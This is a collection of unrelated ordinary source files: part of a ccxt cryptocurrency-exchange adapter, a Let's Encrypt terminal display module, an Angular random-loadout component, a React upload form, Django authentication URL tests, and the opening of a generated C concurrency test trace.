// // 21. out of sub account
// // 28. claim
// // 29. into ETT account
// // 30. out of ETT account
// // 31. into C2C account
// // 32. out of C2C account
// // 33. into margin account
// // 34. out of margin account
// // 37. into spot account
// // 38. out of spot account
// //
// request['type'] = 'number';
//
} else {
throw new NotSupported (this.id + " fetchLedger does not support the '" + type + "' type (the type must be one of 'account', 'spot', 'margin', 'futures', 'swap')");
}
const method = type + 'Get' + suffix + argument + 'Ledger';
const response = await this[method] (this.extend (request, query));
//
// transfer funds transfer in/out
// trade funds moved as a result of a trade, spot and margin accounts only
// rebate fee rebate as per fee schedule, spot and margin accounts only
// match open long/open short/close long/close short (futures) or a change in the amount because of trades (swap)
// fee fee, futures only
// settlement settlement/clawback/settle long/settle short
// liquidation force close long/force close short/deliver close long/deliver close short
// funding funding fee, swap only
// margin a change in the amount after adjusting margin, swap only
//
// account
//
// [
// {
// "amount":0.00051843,
// "balance":0.00100941,
// "currency":"BTC",
// "fee":0,
// "ledger_id":8987285,
// "timestamp":"2018-10-12T11:01:14.000Z",
// "typename":"Get from activity"
// }
// ]
//
// spot
//
// [
// {
// "timestamp":"2019-03-18T07:08:25.000Z",
// "ledger_id":"3995334780",
// "created_at":"2019-03-18T07:08:25.000Z",
// "currency":"BTC",
// "amount":"0.0009985",
// "balance":"0.0029955",
// "type":"trade",
// "details":{
// "instrument_id":"BTC-USDT",
// "order_id":"2500650881647616",
// "product_id":"BTC-USDT"
// }
// }
// ]
//
// margin
//
// [
// [
// {
// "created_at":"2019-03-20T03:45:05.000Z",
// "ledger_id":"78918186",
// "timestamp":"2019-03-20T03:45:05.000Z",
// "currency":"EOS",
// "amount":"0", // ?
// "balance":"0.59957711",
// "type":"transfer",
// "details":{
// "instrument_id":"EOS-USDT",
// "order_id":"787057",
// "product_id":"EOS-USDT"
// }
// }
// ],
// {
// "before":"78965766",
// "after":"78918186"
// }
// ]
//
// futures
//
// [
// {
// "ledger_id":"2508090544914461",
// "timestamp":"2019-03-19T14:40:24.000Z",
// "amount":"-0.00529521",
// "balance":"0",
// "currency":"EOS",
// "type":"fee",
// "details":{
// "order_id":"2506982456445952",
// "instrument_id":"EOS-USD-190628"
// }
// }
// ]
//
// swap
//
// [
// {
// "amount":"0.004742",
// "fee":"-0.000551",
// "type":"match",
// "instrument_id":"EOS-USD-SWAP",
// "ledger_id":"197429674941902848",
// "timestamp":"2019-03-25T05:56:31.286Z"
// },
// ]
//
const responseLength = response.length;
if (responseLength < 1) {
return [];
}
const isArray = Array.isArray (response[0]);
const isMargin = (type === 'margin');
const entries = (isMargin && isArray) ? response[0] : response;
if (type === 'swap') {
const ledgerEntries = this.parseLedger (entries);
return this.filterBySymbolSinceLimit (ledgerEntries, code, since, limit);
}
return this.parseLedger (entries, currency, since, limit);
}
parseLedgerEntryType (type) {
const types = {
'transfer': 'transfer', // // funds transfer in/out
'trade': 'trade', // funds moved as a result of a trade, spot and margin accounts only
'rebate': 'rebate', // fee rebate as per fee schedule, spot and margin accounts only
'match': 'trade', // open long/open short/close long/close short (futures) or a change in the amount because of trades (swap)
'fee': 'fee', // fee, futures only
'settlement': 'trade', // settlement/clawback/settle long/settle short
'liquidation': 'trade', // force close long/force close short/deliver close long/deliver close short
'funding': 'fee', // funding fee, swap only
'margin': 'margin', // a change in the amount after adjusting margin, swap only
};
return this.safeString (types, type, type);
}
parseLedgerEntry (item, currency = undefined) {
//
//
// account
//
// {
// "amount":0.00051843,
// "balance":0.00100941,
// "currency":"BTC",
// "fee":0,
// "ledger_id":8987285,
// "timestamp":"2018-10-12T11:01:14.000Z",
// "typename":"Get from activity"
// }
//
// spot
//
// {
// "timestamp":"2019-03-18T07:08:25.000Z",
// "ledger_id":"3995334780",
// "created_at":"2019-03-18T07:08:25.000Z",
// "currency":"BTC",
// "amount":"0.0009985",
// "balance":"0.0029955",
// "type":"trade",
// "details":{
// "instrument_id":"BTC-USDT",
// "order_id":"2500650881647616",
// "product_id":"BTC-USDT"
// }
// }
//
// margin
//
// {
// "created_at":"2019-03-20T03:45:05.000Z",
// "ledger_id":"78918186",
// "timestamp":"2019-03-20T03:45:05.000Z",
// "currency":"EOS",
// "amount":"0", // ?
// "balance":"0.59957711",
// "type":"transfer",
// "details":{
// "instrument_id":"EOS-USDT",
// "order_id":"787057",
// "product_id":"EOS-USDT"
// }
// }
//
// futures
//
// {
// "ledger_id":"2508090544914461",
// "timestamp":"2019-03-19T14:40:24.000Z",
// "amount":"-0.00529521",
// "balance":"0",
// "currency":"EOS",
// "type":"fee",
// "details":{
// "order_id":"2506982456445952",
// "instrument_id":"EOS-USD-190628"
// }
// }
//
// swap
//
// {
// "amount":"0.004742",
// "fee":"-0.000551",
// "type":"match",
// "instrument_id":"EOS-USD-SWAP",
// "ledger_id":"197429674941902848",
// "timestamp":"2019-03-25T05:56:31.286Z"
// },
//
const id = this.safeString (item, 'ledger_id');
const account = undefined;
const details = this.safeValue (item, 'details', {});
const referenceId = this.safeString (details, 'order_id');
const referenceAccount = undefined;
const type = this.parseLedgerEntryType (this.safeString (item, 'type'));
const code = this.safeCurrencyCode (this.safeString (item, 'currency'), currency);
const amount = this.safeFloat (item, 'amount');
const timestamp = this.parse8601 (this.safeString (item, 'timestamp'));
const fee = {
'cost': this.safeFloat (item, 'fee'),
'currency': code,
};
const before = undefined;
const after = this.safeFloat (item, 'balance');
const status = 'ok';
const marketId = this.safeString (item, 'instrument_id');
let symbol = undefined;
if (marketId in this.markets_by_id) {
const market = this.markets_by_id[marketId];
symbol = market['symbol'];
}
return {
'info': item,
'id': id,
'account': account,
'referenceId': referenceId,
'referenceAccount': referenceAccount,
'type': type,
'currency': code,
'symbol': symbol,
'amount': amount,
'before': before, // balance before
'after': after, // balance after
'status': status,
'timestamp': timestamp,
'datetime': this.iso8601 (timestamp),
'fee': fee,
};
}
sign (path, api = 'public', method = 'GET', params = {}, headers = undefined, body = undefined) {
const isArray = Array.isArray (params);
let request = '/api/' + api + '/' + this.version + '/';
request += isArray ? path : this.implodeParams (path, params);
const query = isArray ? params : this.omit (params, this.extractParams (path));
let url = this.implodeParams (this.urls['api']['rest'], { 'hostname': this.hostname }) + request;
const type = this.getPathAuthenticationType (path);
if (type === 'public') {
if (Object.keys (query).length) {
url += '?' + this.urlencode (query);
}
} else if (type === 'private') {
this.checkRequiredCredentials ();
const timestamp = this.iso8601 (this.milliseconds ());
headers = {
'OK-ACCESS-KEY': this.apiKey,
'OK-ACCESS-PASSPHRASE': this.password,
'OK-ACCESS-TIMESTAMP': timestamp,
// 'OK-FROM': '',
// 'OK-TO': '',
// 'OK-LIMIT': '',
};
let auth = timestamp + method + request;
if (method === 'GET') {
if (Object.keys (query).length) {
const urlencodedQuery = '?' + this.urlencode (query);
url += urlencodedQuery;
auth += urlencodedQuery;
}
} else {
if (isArray || Object.keys (query).length) {
body = this.json (query);
auth += body;
}
headers['Content-Type'] = 'application/json';
}
const signature = this.hmac (this.encode (auth), this.encode (this.secret), 'sha256', 'base64');
headers['OK-ACCESS-SIGN'] = signature;
}
return { 'url': url, 'method': method, 'body': body, 'headers': headers };
}
getPathAuthenticationType (path) {
// https://github.com/ccxt/ccxt/issues/6651
// a special case to handle the optionGetUnderlying interefering with
// other endpoints containing this keyword
if (path === 'underlying') {
return 'public';
}
const auth = this.safeValue (this.options, 'auth', {});
const key = this.findBroadlyMatchedKey (auth, path);
return this.safeString (auth, key, 'private');
}
handleErrors (code, reason, url, method, headers, body, response, requestHeaders, requestBody) {
if (!response) {
return; // fallback to default error handler
}
const feedback = this.id + ' ' + body;
if (code === 503) {
// {"message":"name resolution failed"}
throw new ExchangeNotAvailable (feedback);
}
//
// {"error_message":"Order does not exist","result":"true","error_code":"35029","order_id":"-1"}
//
const message = this.safeString (response, 'message');
const errorCode = this.safeString2 (response, 'code', 'error_code');
const nonEmptyMessage = ((message !== undefined) && (message !== ''));
const nonZeroErrorCode = (errorCode !== undefined) && (errorCode !== '0');
if (nonEmptyMessage) {
this.throwExactlyMatchedException (this.exceptions['exact'], message, feedback);
this.throwBroadlyMatchedException (this.exceptions['broad'], message, feedback);
}
if (nonZeroErrorCode) {
this.throwExactlyMatchedException (this.exceptions['exact'], errorCode, feedback);
}
if (nonZeroErrorCode || nonEmptyMessage) {
throw new ExchangeError (feedback); // unknown message
}
}
};
|
"""Let's Encrypt display."""
import os
import textwrap
import dialog
import zope.interface
from letsencrypt import interfaces
WIDTH = 72
HEIGHT = 20
# Display exit codes
OK = "ok"
"""Display exit code indicating user acceptance."""
CANCEL = "cancel"
"""Display exit code for a user canceling the display."""
HELP = "help"
"""Display exit code when for when the user requests more help."""
class NcursesDisplay(object):
"""Ncurses-based display."""
zope.interface.implements(interfaces.IDisplay)
def __init__(self, width=WIDTH, height=HEIGHT):
super(NcursesDisplay, self).__init__()
self.dialog = dialog.Dialog()
self.width = width
self.height = height
def notification(self, message, height=10, pause=False):
# pylint: disable=unused-argument
"""Display a notification to the user and wait for user acceptance.
.. todo:: It probably makes sense to use one of the transient message
types for pause. It isn't straightforward how best to approach
the matter though given the context of our messages.
http://pythondialog.sourceforge.net/doc/widgets.html#displaying-transient-messages
:param str message: Message to display
:param int height: Height of the dialog box
:param bool pause: Not applicable to NcursesDisplay
"""
self.dialog.msgbox(message, height, width=self.width)
def menu(self, message, choices,
ok_label="OK", cancel_label="Cancel", help_label=""):
"""Display a menu.
:param str message: title of menu
:param choices: menu lines, len must be > 0
:type choices: list of tuples (`tag`, `item`) tags must be unique or
list of items (tags will be enumerated)
:param str ok_label: label of the OK button
:param str help_label: label of the help button
:returns: tuple of the form (`code`, `tag`) where
`code` - `str` display_util exit code
`tag` - `int` index corresponding to the item chosen
:rtype: tuple
"""
menu_options = {
"choices": choices,
"ok_label": ok_label,
"cancel_label": cancel_label,
"help_button": bool(help_label),
"help_label": help_label,
"width": self.width,
"height": self.height,
"menu_height": self.height-6,
}
# Can accept either tuples or just the actual choices
if choices and isinstance(choices[0], tuple):
# pylint: disable=star-args
code, selection = self.dialog.menu(message, **menu_options)
# Return the selection index
for i, choice in enumerate(choices):
if choice[0] == selection:
return code, i
return code, -1
else:
# "choices" is not formatted the way the dialog.menu expects...
menu_options["choices"] = [
(str(i), choice) for i, choice in enumerate(choices, 1)
]
# pylint: disable=star-args
code, tag = self.dialog.menu(message, **menu_options)
if code == CANCEL:
return code, -1
return code, int(tag) - 1
def input(self, message):
"""Display an input box to the user.
:param str message: Message to display that asks for input.
:returns: tuple of the form (code, string) where
`code` - int display exit code
`string` - input entered by the user
"""
return self.dialog.inputbox(message, width=self.width)
def yesno(self, message, yes_label="Yes", no_label="No"):
"""Display a Yes/No dialog box.
Yes and No label must begin with different letters.
:param str message: message to display to user
:param str yes_label: label on the "yes" button
:param str no_label: label on the "no" button
:returns: if yes_label was selected
:rtype: bool
"""
return self.dialog.DIALOG_OK == self.dialog.yesno(
message, self.height, self.width,
yes_label=yes_label, no_label=no_label)
def checklist(self, message, tags, default_status=True):
"""Displays a checklist.
:param message: Message to display before choices
:param list tags: where each is of type :class:`str` len(tags) > 0
:param bool default_status: If True, items are in a selected state by
default.
:returns: tuple of the form (code, list_tags) where
`code` - int display exit code
`list_tags` - list of str tags selected by the user
"""
choices = [(tag, "", default_status) for tag in tags]
return self.dialog.checklist(
message, width=self.width, height=self.height, choices=choices)
class FileDisplay(object):
"""File-based display."""
zope.interface.implements(interfaces.IDisplay)
def __init__(self, outfile):
super(FileDisplay, self).__init__()
self.outfile = outfile
def notification(self, message, height=10, pause=True):
# pylint: disable=unused-argument
"""Displays a notification and waits for user acceptance.
:param str message: Message to display
:param int height: No effect for FileDisplay
:param bool pause: Whether or not the program should pause for the
user's confirmation
"""
side_frame = "-" * 79
message = self._wrap_lines(message)
self.outfile.write(
"{line}{frame}{line}{msg}{line}{frame}{line}".format(
line=os.linesep, frame=side_frame, msg=message))
if pause:
raw_input("Press Enter to Continue")
def menu(self, message, choices,
ok_label="", cancel_label="", help_label=""):
# pylint: disable=unused-argument
"""Display a menu.
.. todo:: This doesn't enable the help label/button (I wasn't sold on
any interface I came up with for this). It would be a nice feature
:param str message: title of menu
:param choices: Menu lines, len must be > 0
:type choices: list of tuples (tag, item) or
list of descriptions (tags will be enumerated)
:returns: tuple of the form (code, tag) where
code - int display exit code
tag - str corresponding to the item chosen
:rtype: tuple
"""
self._print_menu(message, choices)
code, selection = self._get_valid_int_ans(len(choices))
return code, selection - 1
def input(self, message):
# pylint: disable=no-self-use
"""Accept input from the user.
:param str message: message to display to the user
:returns: tuple of (`code`, `input`) where
`code` - str display exit code
`input` - str of the user's input
:rtype: tuple
"""
ans = raw_input(
textwrap.fill("%s (Enter 'c' to cancel): " % message, 80))
if ans == "c" or ans == "C":
return CANCEL, "-1"
else:
return OK, ans
def yesno(self, message, yes_label="Yes", no_label="No"):
"""Query the user with a yes/no question.
Yes and No label must begin with different letters, and must contain at
least one letter each.
:param str message: question for the user
:param str yes_label: Label of the "Yes" parameter
:param str no_label: Label of the "No" parameter
:returns: True for "Yes", False for "No"
:rtype: bool
"""
side_frame = ("-" * 79) + os.linesep
message = self._wrap_lines(message)
self.outfile.write("{0}{frame}{msg}{0}{frame}".format(
os.linesep, frame=side_frame, msg=message))
while True:
ans = raw_input("{yes}/{no}: ".format(
yes=_parens_around_char(yes_label),
no=_parens_around_char(no_label)))
# Couldn't get pylint indentation right with elif
# elif doesn't matter in this situation
if (ans.startswith(yes_label[0].lower()) or
ans.startswith(yes_label[0].upper())):
return True
if (ans.startswith(no_label[0].lower()) or
ans.startswith(no_label[0].upper())):
return False
def checklist(self, message, tags, default_status=True):
# pylint: disable=unused-argument
"""Display a checklist.
:param str message: Message to display to user
:param list tags: `str` tags to select, len(tags) > 0
:param bool default_status: Not used for FileDisplay
:returns: tuple of (`code`, `tags`) where
`code` - str display exit code
`tags` - list of selected tags
:rtype: tuple
"""
while True:
self._print_menu(message, tags)
code, ans = self.input("Select the appropriate numbers separated "
"by commas and/or spaces")
if code == OK:
indices = separate_list_input(ans)
selected_tags = self._scrub_checklist_input(indices, tags)
if selected_tags:
return code, selected_tags
else:
self.outfile.write(
"** Error - Invalid selection **%s" % os.linesep)
else:
return code, []
def _scrub_checklist_input(self, indices, tags):
# pylint: disable=no-self-use
"""Validate input and transform indices to appropriate tags.
:param list indices: input
:param list tags: Original tags of the checklist
:returns: valid tags the user selected
:rtype: :class:`list` of :class:`str`
"""
# They should all be of type int
try:
indices = [int(index) for index in indices]
except ValueError:
return []
# Remove duplicates
indices = list(set(indices))
# Check all input is within range
for index in indices:
if index < 1 or index > len(tags):
return []
# Transform indices to appropriate tags
return [tags[index-1] for index in indices]
def _print_menu(self, message, choices):
"""Print a menu on the screen.
:param str message: title of menu
:param choices: Menu lines
:type choices: list of tuples (tag, item) or
list of descriptions (tags will be enumerated)
"""
# Can take either tuples or single items in choices list
if choices and isinstance(choices[0], tuple):
choices = ["%s - %s" % (c[0], c[1]) for c in choices]
# Write out the message to the user
self.outfile.write(
"{new}{msg}{new}".format(new=os.linesep, msg=message))
side_frame = ("-" * 79) + os.linesep
self.outfile.write(side_frame)
# Write out the menu choices
for i, desc in enumerate(choices, 1):
self.outfile.write(
textwrap.fill("{num}: {desc}".format(num=i, desc=desc), 80))
# Keep this outside of the textwrap
self.outfile.write(os.linesep)
self.outfile.write(side_frame)
def _wrap_lines(self, msg): # pylint: disable=no-self-use
"""Format lines nicely to 80 chars.
:param str msg: Original message
:returns: Formatted message respecting newlines in message
:rtype: str
"""
lines = msg.splitlines()
fixed_l = []
for line in lines:
fixed_l.append(textwrap.fill(line, 80))
return os.linesep.join(fixed_l)
def _get_valid_int_ans(self, max_):
"""Get a numerical selection.
:param int max: The maximum entry (len of choices), must be positive
:returns: tuple of the form (`code`, `selection`) where
`code` - str display exit code ('ok' or cancel')
`selection` - int user's selection
:rtype: tuple
"""
selection = -1
if max_ > 1:
input_msg = ("Select the appropriate number "
"[1-{max_}] then [enter] (press 'c' to "
"cancel): ".format(max_=max_))
else:
input_msg = ("Press 1 [enter] to confirm the selection "
"(press 'c' to cancel): ")
while selection < 1:
ans = raw_input(input_msg)
if ans.startswith("c") or ans.startswith("C"):
return CANCEL, -1
try:
selection = int(ans)
if selection < 1 or selection > max_:
selection = -1
raise ValueError
except ValueError:
self.outfile.write(
"{0}** Invalid input **{0}".format(os.linesep))
return OK, selection
def separate_list_input(input_):
"""Separate a comma or space separated list.
:param str input_: input from the user
:returns: strings
:rtype: list
"""
no_commas = input_.replace(",", " ")
# Each string is naturally unicode, this causes problems with M2Crypto SANs
return [str(string) for string in no_commas.split()]
def _parens_around_char(label):
"""Place parens around first character of label.
:param str label: Must contain at least one character
"""
return "({first}){rest}".format(first=label[0], rest=label[1:])
|
import angular from 'angular';
import _ from 'underscore';
import template from './random-loadout.html';
import './random-loadout.scss';
export const RandomLoadoutComponent = {
template,
controller: RandomLoadoutCtrl,
bindings: {
stores: '<'
}
};
function RandomLoadoutCtrl($window, $scope, dimStoreService, D2StoresService, dimLoadoutService, $i18next) {
'ngInject';
const vm = this;
vm.$onChanges = function() {
if (vm.stores && vm.stores.length) {
vm.showRandomLoadout = true;
}
};
vm.disableRandomLoadout = false;
vm.applyRandomLoadout = function() {
if (vm.disableRandomLoadout) {
return null;
}
if (!$window.confirm($i18next.t('Loadouts.Randomize'))) {
return null;
}
vm.disableRandomLoadout = true;
const store = _.find(vm.stores, 'current');
if (!store) {
return null;
}
const types = store.destinyVersion === 1 ? [
'Class',
'Primary',
'Special',
'Heavy',
'Helmet',
'Gauntlets',
'Chest',
'Leg',
'ClassItem',
'Artifact',
'Ghost'
] : [
'Class',
'Kinetic',
'Energy',
'Power',
'Helmet',
'Gauntlets',
'Chest',
'Leg',
'ClassItem',
'Ghost',
];
const accountItems = (store.destinyVersion === 2 ? D2StoresService : dimStoreService).getAllItems();
const items = {};
const foundExotic = {};
const fn = (type) => (item) => (item.type === type &&
item.canBeEquippedBy(store) &&
(item.typeName !== 'Mask' || ((item.typeName === 'Mask') && (item.tier === 'Legendary'))) &&
(!foundExotic[item.bucket.sort] || (foundExotic[item.bucket.sort] && !item.isExotic)));
_.each(types, (type) => {
const filteredItems = _.filter(accountItems, fn(type));
const random = filteredItems[Math.floor(Math.random() * filteredItems.length)];
if (!foundExotic[random.bucket.sort]) {
foundExotic[random.bucket.sort] = random.isExotic;
}
const clone = angular.extend(angular.copy(random), { equipped: true });
items[type.toLowerCase()] = [clone];
});
return dimLoadoutService
.applyLoadout(store, {
classType: -1,
name: $i18next.t('Loadouts.Random'),
items: items
}, true)
.finally(() => {
vm.disableRandomLoadout = false;
});
};
}
|
import React from 'react';
import PropTypes from 'prop-types';
import classNames from 'classnames';
import { withStyles } from '@material-ui/core/styles';
import MenuItem from '@material-ui/core/MenuItem';
import TextField from '@material-ui/core/TextField';
import Input from '@material-ui/core/Input';
import Paper from '@material-ui/core/Paper';
import Typography from '@material-ui/core/Typography';
import IconButton from '@material-ui/core/IconButton';
import AddIcon from '@material-ui/icons/Add';
import '../App.css';
import CircularProgress from '@material-ui/core/CircularProgress';
import green from '@material-ui/core/colors/green';
import Button from '@material-ui/core/Button';
import Fab from '@material-ui/core/Fab';
import CheckIcon from '@material-ui/icons/Check';
import SaveIcon from '@material-ui/icons/PlayArrow';
import { broadCast } from '../utils/db'
const styles = theme => ({
root: {
display: 'flex',
alignItems: 'center',
marginTop: '20px',
},
wrapper: {
margin: theme.spacing.unit,
position: 'relative',
},
buttonSuccess: {
backgroundColor: green[500],
'&:hover': {
backgroundColor: green[700],
},
},
fabProgress: {
color: green[500],
position: 'absolute',
top: -6,
left: -6,
zIndex: 1,
},
buttonProgress: {
color: green[500],
position: 'absolute',
top: '50%',
left: '50%',
marginTop: -12,
marginLeft: -12,
},
});
class OutlinedTextFields extends React.Component {
state = {
loading: false,
success: false,
name: '',
category: '',
owner: '',
file: ''
};
componentWillUnmount() {
clearTimeout(this.timer);
}
handleButtonClick = () => {
if (!this.state.loading) {
this.setState(
{
success: false,
loading: true,
},
)
broadCast(this.state.file, this.state.name, this.state.category, this.state.owner, this.props.publicK, this.props.privateK,
(results, image) => {
console.log("inside")
if (results) {
console.log('hogaya')
this.props.setUser(this.state.data)
this.setState({
loading: false,
success: true,
name: '',
category:'',
owner: ''
})
}else{
console.log('nhi hua')
}
})
}
}
render() {
const { classes } = this.props;
const { loading, success } = this.state;
const buttonClassname = classNames({
[classes.buttonSuccess]: success,
});
return (
<Paper className="paper-broadcast" >
<Typography variant="h3" gutterBottom className="header-email">
Broadcast
</Typography>
<form className="email-form" noValidate autoComplete="off">
<TextField
id="outlined-email-input"
label="Name"
className="email-text"
type="email"
name="email"
margin="normal"
variant="outlined"
value={this.state.name}
onChange={(e) => this.setState({ name: e.target.value })}
/>
<TextField
id="outlined-email-input"
label="Category"
className="email-text"
type="email"
name="email"
margin="normal"
variant="outlined"
value={this.state.category}
onChange={(e) => this.setState({ category: e.target.value })}
/>
<TextField
id="outlined-email-input"
label="Owner"
className="email-text"
type="email"
name="email"
margin="normal"
variant="outlined"
value={this.state.owner}
onChange={(e) => this.setState({ owner: e.target.value })}
/>
<Input
id="outlined-email-input"
className="email-text"
type="file"
name="email"
margin="normal"
variant="outlined"
value={this.state.file}
onChange={(e) => console.log(e.target.value)}
/>
</form>
<div className={classes.root}>
<div className={classes.wrapper}>
<Fab color="primary" className={buttonClassname} onClick={() => this.handleButtonClick()}>
{success ? <CheckIcon /> : <SaveIcon />}
</Fab>
{loading && <CircularProgress size={68} className={classes.fabProgress} />}
</div>
{/* <div className={classes.wrapper}>
<Button
variant="contained"
color="primary"
className={buttonClassname}
disabled={loading}
onClick={this.handleButtonClick}
>
LOG-IN
</Button>
{loading && <CircularProgress size={24} className={classes.buttonProgress} />}
</div> */}
</div>
</Paper>
);
}
}
OutlinedTextFields.propTypes = {
classes: PropTypes.object.isRequired,
};
export default withStyles(styles)(OutlinedTextFields);
|
from django.contrib.auth import get_user_model
from django.test import TestCase, Client
User = get_user_model()
class URLTests(TestCase):
def setUp(self):
self.guest_client = Client()
self.user = User.objects.create_user(username='Name')
self.authorized_client = Client()
self.authorized_client.force_login(self.user)
def test_pages_urls_exist_at_desired_location_users(self):
urls = [
'/auth/signup/',
'/auth/login/'
]
for url in urls:
with self.subTest(url=url):
response = self.guest_client.get(url)
self.assertEqual(response.status_code, 200)
def test_pages_urls_exist_at_desired_location_authorized_posts(self):
urls = [
'/auth/logout/',
'/auth/password_change/',
'/auth/password_change/done/',
'/auth/password_reset/',
'/auth/password_reset/done/',
'/auth/reset/done/'
]
for url in urls:
with self.subTest(url=url):
response = self.authorized_client.get(url, follow=True)
self.assertEqual(response.status_code, 200)
def test_urls_redirect_anonymous_on_login_users(self):
url_names_redirections = {
'/auth/password_change/':
'/auth/login/?next=/auth/password_change/',
'/auth/password_change/done/':
'/auth/login/?next=/auth/password_change/done/',
}
for url, redirection in url_names_redirections.items():
with self.subTest(url=url):
response = self.guest_client.get(url, follow=True)
self.assertRedirects(response, redirection)
|
#ifdef COMPILE_FOR_TEST
#include <assert.h>
#define assume(cond) assert(cond)
#endif
void main(int argc, char* argv[]) {
int x_0_0;//sh_buf.outcnt
int x_0_1;//sh_buf.outcnt
int x_0_2;//sh_buf.outcnt
int x_0_3;//sh_buf.outcnt
int x_0_4;//sh_buf.outcnt
int x_0_5;//sh_buf.outcnt
int x_0_6;//sh_buf.outcnt
int x_1_0;//sh_buf.outbuf[0]
int x_1_1;//sh_buf.outbuf[0]
int x_2_0;//sh_buf.outbuf[1]
int x_2_1;//sh_buf.outbuf[1]
int x_3_0;//sh_buf.outbuf[2]
int x_3_1;//sh_buf.outbuf[2]
int x_4_0;//sh_buf.outbuf[3]
int x_4_1;//sh_buf.outbuf[3]
int x_5_0;//sh_buf.outbuf[4]
int x_5_1;//sh_buf.outbuf[4]
int x_6_0;//sh_buf.outbuf[5]
int x_7_0;//sh_buf.outbuf[6]
int x_8_0;//sh_buf.outbuf[7]
int x_9_0;//sh_buf.outbuf[8]
int x_10_0;//sh_buf.outbuf[9]
int x_11_0;//LOG_BUFSIZE
int x_11_1;//LOG_BUFSIZE
int x_12_0;//CREST_scheduler::lock_0
int x_13_0;//t3 T0
int x_14_0;//t2 T0
int x_15_0;//arg T0
int x_16_0;//functioncall::param T0
int x_16_1;//functioncall::param T0
int x_17_0;//buffered T0
int x_18_0;//functioncall::param T0
int x_18_1;//functioncall::param T0
int x_19_0;//functioncall::param T0
int x_19_1;//functioncall::param T0
int x_20_0;//functioncall::param T0
int x_20_1;//functioncall::param T0
int x_21_0;//functioncall::param T0
int x_21_1;//functioncall::param T0
int x_22_0;//direction T0
int x_23_0;//functioncall::param T0
int x_23_1;//functioncall::param T0
int x_24_0;//functioncall::param T0
int x_24_1;//functioncall::param T0
int x_25_0;//functioncall::param T0
int x_25_1;//functioncall::param T0
int x_26_0;//functioncall::param T0
int x_26_1;//functioncall::param T0
int x_27_0;//functioncall::param T0
int x_27_1;//functioncall::param T0
int x_28_0;//functioncall::param T0
int x_28_1;//functioncall::param T0
int x_29_0;//functioncall::param T0
int x_29_1;//functioncall::param T0
int x_30_0;//functioncall::param T0
int x_30_1;//functioncall::param T0
int x_31_0;//functioncall::param T0
int x_31_1;//functioncall::param T0
int x_32_0;//functioncall::param T0
int x_32_1;//functioncall::param T0
int x_33_0;//functioncall::param T0
int x_33_1;//functioncall::param T0
int x_34_0;//functioncall::param T0
int x_34_1;//functioncall::param T0
int x_35_0;//functioncall::param T1
int x_35_1;//functioncall::param T1
int x_36_0;//functioncall::param T1
int x_36_1;//functioncall::param T1
int x_37_0;//i T1
int x_38_0;//rv T1
int x_39_0;//rv T1
int x_39_1;//rv T1
int x_40_0;//functioncall::param T1
int x_40_1;//functioncall::param T1
int x_41_0;//functioncall::param T1
int x_41_1;//functioncall::param T1
int x_42_0;//functioncall::param T1
int x_42_1;//functioncall::param T1
int x_43_0;//functioncall::param T2
int x_43_1;//functioncall::param T2
int x_44_0;//functioncall::param T2
int x_44_1;//functioncall::param T2
int x_45_0;//i T2
int x_45_1;//i T2
int x_45_2;//i T2
int x_45_3;//i T2
int x_46_0;//rv T2
int x_47_0;//rv T2
int x_47_1;//rv T2
int x_48_0;//functioncall::param T2
int x_48_1;//functioncall::param T2
int x_49_0;//functioncall::param T2
int x_49_1;//functioncall::param T2
int x_50_0;//functioncall::param T2
int x_50_1;//functioncall::param T2
int x_51_0;//functioncall::param T2
int x_51_1;//functioncall::param T2
int x_52_0;//functioncall::param T2
int x_52_1;//functioncall::param T2
int x_53_0;//functioncall::param T2
int x_53_1;//functioncall::param T2
int x_53_2;//functioncall::param T2
int x_54_0;//functioncall::param T2
int x_54_1;//functioncall::param T2
int x_55_0;//functioncall::param T2
int x_55_1;//functioncall::param T2
int x_56_0;//functioncall::param T2
int x_56_1;//functioncall::param T2
T_0_0_0: x_0_0 = 0;
T_0_1_0: x_1_0 = 0;
T_0_2_0: x_2_0 = 0;
T_0_3_0: x_3_0 = 0;
T_0_4_0: x_4_0 = 0;
T_0_5_0: x_5_0 = 0;
T_0_6_0: x_6_0 = 0;
T_0_7_0: x_7_0 = 0;
T_0_8_0: x_8_0 = 0;
T_0_9_0: x_9_0 = 0;
T_0_10_0: x_10_0 = 0;
T_0_11_0: x_11_0 = 0;
T_0_12_0: x_13_0 = 2307294064;
T_0_13_0: x_14_0 = 3713700448;
T_0_14_0: x_15_0 = 0;
T_0_15_0: x_16_0 = 1932138291;
T_0_16_0: x_16_1 = -1;
T_0_17_0: x_17_0 = 0;
T_0_18_0: x_18_0 = 1918094941;
T_0_19_0: x_18_1 = x_17_0;
T_0_20_0: x_19_0 = 1749415125;
T_0_21_0: x_19_1 = 97;
T_0_22_0: x_20_0 = 403470751;
T_0_23_0: x_20_1 = 0;
T_0_24_0: x_21_0 = 1921917720;
T_0_25_0: x_21_1 = 0;
T_0_26_0: x_22_0 = -581271488;
T_0_27_0: x_23_0 = 296590556;
T_0_28_0: x_23_1 = x_22_0;
T_0_29_0: x_24_0 = 152289258;
T_0_30_0: x_24_1 = 0;
T_0_31_0: x_12_0 = -1;
T_0_32_0: x_0_1 = 5;
T_0_33_0: x_1_1 = 72;
T_0_34_0: x_2_1 = 69;
T_0_35_0: x_3_1 = 76;
T_0_36_0: x_4_1 = 76;
T_0_37_0: x_5_1 = 79;
T_0_38_0: x_25_0 = 1491859186;
T_0_39_0: x_25_1 = 83;
T_0_40_0: x_26_0 = 1513353278;
T_0_41_0: x_26_1 = 1;
T_0_42_0: x_27_0 = 842133051;
T_0_43_0: x_27_1 = 1;
T_0_44_0: x_28_0 = 698709382;
T_0_45_0: x_28_1 = 1;
T_0_46_0: x_29_0 = 1289530323;
T_0_47_0: x_29_1 = 82;
T_0_48_0: x_30_0 = 234792886;
T_0_49_0: x_30_1 = 90;
T_0_50_0: x_31_0 = 1331107201;
T_0_51_0: x_31_1 = 1;
T_0_52_0: x_32_0 = 1689596207;
T_0_53_0: x_32_1 = 1;
T_0_54_0: x_33_0 = 452627833;
T_0_55_0: x_33_1 = 2;
T_0_56_0: x_34_0 = 1940521457;
T_0_57_0: x_34_1 = 2;
T_0_58_0: x_11_1 = 5;
T_1_59_1: x_35_0 = 458331642;
T_1_60_1: x_35_1 = x_27_1;
T_1_61_1: x_36_0 = 27937721;
T_1_62_1: x_36_1 = x_28_1;
T_1_63_1: x_37_0 = 0;
T_1_64_1: x_38_0 = 532709889;
T_2_65_2: x_43_0 = 240493222;
T_2_66_2: x_43_1 = x_33_1;
T_2_67_2: x_44_0 = 1800775148;
T_2_68_2: x_44_1 = x_34_1;
T_2_69_2: x_45_0 = 0;
T_2_70_2: x_46_0 = 530608641;
